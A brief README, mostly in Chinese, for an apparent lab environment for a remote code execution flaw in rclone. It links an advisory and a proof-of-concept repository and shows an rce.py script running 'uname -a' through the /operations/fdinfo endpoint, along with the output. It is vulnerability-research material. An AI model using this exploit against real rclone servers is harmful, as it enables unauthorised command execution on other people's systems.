CVE-2026-41179 — 已更新! — RCE in rclone

CVE-2026-47668

rclone RCE 的测试环境

REF1: https://github.com/rclone/rclone/security/advisories/GHSA-jfwf-28xr-xw6q
REF2: https://github.com/pssec-io/CVE-2026-41179

`rce.py`

在 /operations/fdinfo 上执行 RCE，为方便起见将输出重定向到 stderr

./rce.py uname -a
exit status 1
Return code: OK
OUTPUT
Linux cve-2026-41179 6.12.95+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.95-1 (2026-07-04) x86_64 Linux

run.sh / shell.sh：从 docker 镜像运行本地容器